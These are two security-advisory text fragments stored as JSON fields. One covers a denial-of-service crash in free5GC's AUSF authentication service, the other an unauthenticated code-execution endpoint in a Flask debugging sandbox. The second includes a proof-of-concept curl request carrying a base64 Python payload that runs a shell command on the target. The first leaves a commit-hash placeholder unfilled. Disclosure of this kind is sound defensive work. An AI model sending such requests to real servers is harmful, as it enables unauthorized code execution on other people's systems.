"details": "**Impact** \nThis is an Improper Null Check vulnerability leading to Denial of Service. \n- **Security Impact**: A remote attacker can cause the AUSF service to panic and crash by sending a crafted UE authentication request that triggers a nil interface conversion in the `GetSupiFromSuciSupiMap` function. This results in complete denial of service for the AUSF authentication service. \n- **Functional Impact**: The `GetSupiFromSuciSupiMap` function attempts to perform an interface conversion from `interface{}` to `*context.SuciSupiMap` without checking if the underlying value is nil. When `SuciSupiMap` is nil, the code panics with \"interface conversion: interface {} is nil, not *context.SuciSupiMap\". \n- **Affected Parties**: All deployments of free5GC v4.0.1 using the AUSF UE authentication service (`/nausf-auth/v1/ue-authentications` endpoint).\n\n**Patches** \nYes, the issue has been patched. \nThe fix is implemented in PR free5gc/ausf#52 (commit: [add specific commit hash if available]). \nUsers should upgrade to the next release of free5GC that includes this commit.\n\n**Workarounds** \nThere is no direct workaround at the application level.

"details": "#### Summary\nAn explicit web endpoint inside the `ai/` testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.\n\n#### Details\nThe AI codebase package includes a lightweight debugging Flask server inside `ai/sandbox/wsgi_app.py`. The `/exec-py` route accepts base_64 encoded raw string payloads inside the `code` parameter natively evaluated by a basic `POST` web request. It saves it rapidly to the operating system logic path and injects it recursively using `execute_module(module_path...)`.\n\n```python\n# ai/sandbox/wsgi_app.py\n@flask_app.route(\"/exec-py\", methods=[\"POST\"])\ndef exec_py_route():\n code = base64.urlsafe_b64decode(request.form.get(\"code\"))\n # ... code is blindly written to file and forcefully executed\n```\n\n#### PoC\n```bash\n# Payload:\n# import os\n# os.system('echo \"pwned by attacker\" > /tmp/pwned.txt')\n# \n# Base64 string represents the identical payload block above: \n# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==\n\ncurl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n -d \"code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==\"\n\n# Validate exploitation target execution natively:\n# $ cat /tmp/pwned.txt\n# pwned by attacker\n```\n\n#### Impact\nThis presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.",
